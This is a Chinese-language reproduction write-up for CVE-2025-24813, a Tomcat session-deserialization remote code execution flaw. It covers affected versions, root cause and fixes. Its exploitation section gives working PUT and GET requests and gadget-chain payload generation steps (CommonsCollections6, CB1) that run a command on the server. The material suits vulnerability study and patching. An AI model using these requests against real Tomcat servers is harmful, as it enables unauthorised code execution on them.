CVE-2025-24813 Tomcat 反序列化RCE 复现
漏洞解析
官方漏洞公告
https://tomcat.apache.org/security-10
漏洞利用参考链接
https://forum.butian.net/article/674
https://mp.weixin.qq.com/s/Rkpi7aDAgPwozR7PRfxkGg
漏洞影响版本
- 9.0.0.M1 <= tomcat <= 9.0.98
- 10.1.0-M1 <= tomcat <= 10.1.34
- 11.0.0-M1 <= tomcat <= 11.0.2
漏洞利用条件
- Tomcat的 DefaultServlet 启用写入功能(默认关闭)。
- Tomcat启用 partial PUT 功能(默认开启)。
- Tomcat 使用了默认的会话文件存储位置(默认无)。
- Tomcat 使用反序列化利用链库,如 commons-collections。
漏洞原理解析
- Tomcat conf/Web.xml 配置文件中有 DefaultServlet 控制器可以设置 servlet 是否只读,如果设置为 False,结合 conf/web.xml 中 allowPartialPut 参数默认开启,用户可自行上传 session 文件。Tomcat 不安全的命名操作将 uri 存为 session 文件名称(/123/session → .123.session)并用于后续 session 校验。
- 当用户发送请求,tomcat 获取 cookie 中的 JSESSIONID 值,秉承 “内存优先,文件兜底” 的原则并到程序内存查找匹配,找不到就去 Manager 指定的 session 文件路径(如有)查找,发现指定了默认的存储路径,就到 work/Catalina/localhost/ROOT 目录查找 JSESSIONID 值对应的文件,并将改文件反序列化,用于匹配鉴权参数。该过程未校验文件安全性,反序列化操作导致二进制流被执行。
漏洞修复建议
- 禁用 DefaultServlet 的写入功能(设置 readonly=true,默认)。
- 升级 Tomcat 至安全版本。
- 禁用 Partial PUT:修改 conf/web.xml 中的 allowPartialPut 参数为 false 。
漏洞复现
以Tomcat 9.0.98为例
1. 环境搭建
修改conf/web.xml
在servlet项中增加子项 init-param ,参数名为 readonly,值为 false:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

修改conf/context.xml
在 <Context> 项中添加Manager子项,使会话持久化并使用默认会话存储位置:
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>

加入可被反序列化利用的库
题外话:
commons-collection库是Apache的开发辅助库,有两个大版本,其中commons-collections为3版本,因问题和利用链(CC链)较多,常用于渗透复现。commonst-collections4为2013年发布的4版本,但是和3版本不兼容,所以两个版本可能同时出现在一个项目中。
- commons-collections: commons-collections
- org.apahce.commons: commonst-collections4
https://mvnrepository.com/search?q=Commons+Collections
此处以commons-collections 3.2.1举例。 下载
在Tomcat的 \webapps\ROOT 路径下创建一个lib目录,把jar包放进去

启动tomcat
mac或linux运行 /bin/catalina.sh run 或 /bin/startup.sh
windows运行 /bin/startup.bat
浏览器访问 localhost:8080 看到汤姆猫即可
2. 漏洞利用
准备抓包工具和反序列化利用工具。
这里演示两种方式,其实是一样的,一个发包工具和一个Java利用链生成工具。
- 单兵工具 Yakit
- Burp + 其他 Java 利用链工具
方式一:Yakit 利用
使用 Yso-Java Hack 模块生成 payload。
题外话:Java 版本 52,55 是十六进制的 class 主版本号(0x34,0x37),分别代表 Java 8,Java 11.
生成一个 CommonsCollections6 / win_cmd(因为我的 Java 是 17 版本。网上的复现文章大多采用 K1 链,需要 Java 8 或以下版本,否则反射访问 TemplatesImpl 类会受限导致复现失败),执行命令为 calc 的 base64 编码 payload
- 请注意,这里一定不是选 YAK 或 DUMP 而是 base64,因为生成的内容必须是序列化的二进制流,而不是明文函数,发包时会用到。

使用 Web Fuzzer 模块发包(或者抓包改包,都可以)
发该数据包目的为生成 tomcat 服务器中的存储 session 文件。
- 此处发包需要注意,Content-Length必须大于body内容长度,且与 Content-Range 分块内容长度相同,且均小于 Content-Range 最后的数字(分块结合后的总长度,这里是5200,如不知道body长度可适当改大一些)。
PUT /12345/session HTTP/1.1
Host:localhost:8080
Content-Length: 5000
Content-Range: bytes 0-5000/5200
{{base64dec(反序列化base64编码内容)}}

发第二个包触发session文件反序列化操作
GET / HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=.12345

方式二:burp + Java Chains 利用
安装Java Chains
以java-chains为例,Java Chains 为一个 java payload 生成工具,具有 UI 界面,但是仅支持 Java8。Github下载
下载后切换环境变量为 Java 1.8 或进 Java 1.8 的bin目录执行
java -jar -Xms512m -Xmx2g -XX:+UseG1GC .../java-chains.jar 或直接 java -jar .../java-chains.jar
访问本地 8011 端口,默认账号 admin,密码在每次开启服务时会在控制台输出

生成序列化字符串
使用 Generate 中的 JavaNativePayload 模块。
选择CB1链,commonsCollectionsK3(CC3.2.1 ChainedTransformer链),TransformerWithExec。
选择base64编码,Gadget 2中填入执行的命令,calc,生成。

Burp发包
Burp 随意抓个包,repeater 改包,把之前使用的 PUT 请求的数据包头复制进去。直接粘贴生成的 base64 编码字符串。

双击选中 payload,右键进行 base64 解码后发送即可
- 注意:不用Java Chains直接生成Raw格式是因为有乱码,burp无法直接粘贴进去,会失效。

这里的 Content-Length 可以不用设置了,因为 Burp 会帮你自动计算 body 长度并更新,但是 Content-Range 里的内容还是要自己填的,大于 body 长度即可。

之后是第二个包,成功利用。

坑与问题
-
可能你会发现,使用自带的decoder解码器将序列化字符串进行base64编码后再粘贴进数据包里,会复现不成功,但是请求包和响应包都是正确的。如图:
直接在repeater解码的:

decoder解码后放进去的

数据包看起来是一样的,但是进入Hex分析就会发现其实二进制数据已经有一些改变。
原因是通过 Decoder 模块粘贴进去会有一些多出来的字符,且最后有字符缺失。导致反序列化失败。


将这些字符更正也可以成功。
-
为何使用反序列化CommonsCollections6 / win_cmd 利用链,而不是 K1 链?
网络上有比较多的文章关于这个漏洞用的是K1链,但是因为我java版本是17,该链不太能用。
原因:K1链的核心是 InvokerTransformer 类通过反射调用 newTransformer 方法,但在大于 java 8 的版本中,com.sun.org.apache.xalan.internal 等内部包的反射访问默认被模块系统(JPMS)禁止。
有个小 Tips,你可以写一下代码验证 TemplatesImpl.newTransformer() 是否可被反射调用,就知道能不能用 K1 链了。
比如:
Class<?> cls = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Method method = cls.getMethod("newTransformer");
method.invoke(cls.newInstance()); // 构造你自己的实例
如果代码报错,则 K1 链会失败。不想折腾就直接试 K1 命令执行吧。
浙公网安备 33010602011771号